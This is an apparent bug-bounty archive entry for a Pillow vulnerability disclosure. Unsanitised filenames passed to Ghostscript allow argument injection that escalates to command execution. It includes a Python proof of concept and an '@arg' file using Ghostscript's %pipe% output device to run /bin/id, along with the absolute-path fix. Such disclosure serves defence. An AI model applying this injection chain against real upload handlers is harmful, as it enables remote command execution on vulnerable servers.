# Pillow: Argument Injection in Ghostscript call, potentially leading into RCE

Pillow passes unsanitized fp.name to Ghostscript's -f argument, so a filename starting with '-' or '@' injects Ghostscript options, escalating to RCE.

- Payout: Research
- Severity: critical
- Program: Pillow
- Found by: HLe4s-kaist
- Disclosed: 2026-10-21
- CVE: CVE-2026-112900
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w889-685w-c8fh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w889-685w-c8fh
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:python technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** PIL.EpsImagePlugin.Ghostscript() subprocess invocation of gs
**Root cause:** Ghostscript() uses fp.name verbatim at the '-f <infile>' position without normalizing to an absolute path or rejecting leading '-'/'--' (option) and '@' (argument-file) tokens, so the filename is parsed as Ghostscript arguments. -dSAFER does not mitigate this.
**Steps:**
1. Create a benign EPS file named `-h` (leading dash).
2. Call `Image.open("-h")` then `im.load()`; Ghostscript receives `-f -h` and prints help instead of reading the file, proving option injection.
3. For RCE, name the EPS file `@arg` and place a second attacker-controlled text file `arg` containing `-sOutputFile=%pipe%/bin/id`, `-c`, `1`, `dict`, `dup`, `/OutputFile`, `(%pipe%/bin/id)`, `put`, `setpagedevice`.
4. `Image.open("@arg")` + `im.load()` makes Ghostscript read extra argv from `arg`, redirecting output through `%pipe%` to execute `/bin/id`.
5. Fix: `infile = os.path.abspath(fp.name)` so the path can never start with `-` or `@`.
**How found:** Code review of Ghostscript() command construction: noticed fp.name is user-controllable and inserted directly after '-f' with no normalization, then reasoned about Ghostscript's special argv tokens ('-' options and '@' argument files) and tested both.
**Exploitation:** Attacker influences the filename reaching Image.open() (e.g. upload endpoint preserving user-supplied name). A leading '-' injects a single Ghostscript option; '@<path>' makes Ghostscript read additional arguments from an attacker-controlled file, and `-sOutputFile=%pipe%/bin/id` executes a shell command. Verified executing `id` under default -dSAFER on Pillow 12.3.0 with Ghostscript 10.02.1 and 10.07.1.
**Escalation:** Single-argument injection (CWE-88) chained with Ghostscript's @-file syntax to inject multiple arguments, then %pipe% output device to reach arbitrary OS command execution (CWE-78).
**Insight:** When a library shells out to a CLI tool with a user-influenced path, check the tool's own argv grammar for special tokens beyond '-': Ghostscript's '@file' reads extra arguments, and %pipe% output devices turn argument injection into command execution even under -dSAFER.

## Proof of concept (copied exactly from the original report)

**PoC opening filename '-h' to inject gs option**

```
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")
```

**arg file injecting %pipe% command execution**

```
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
```

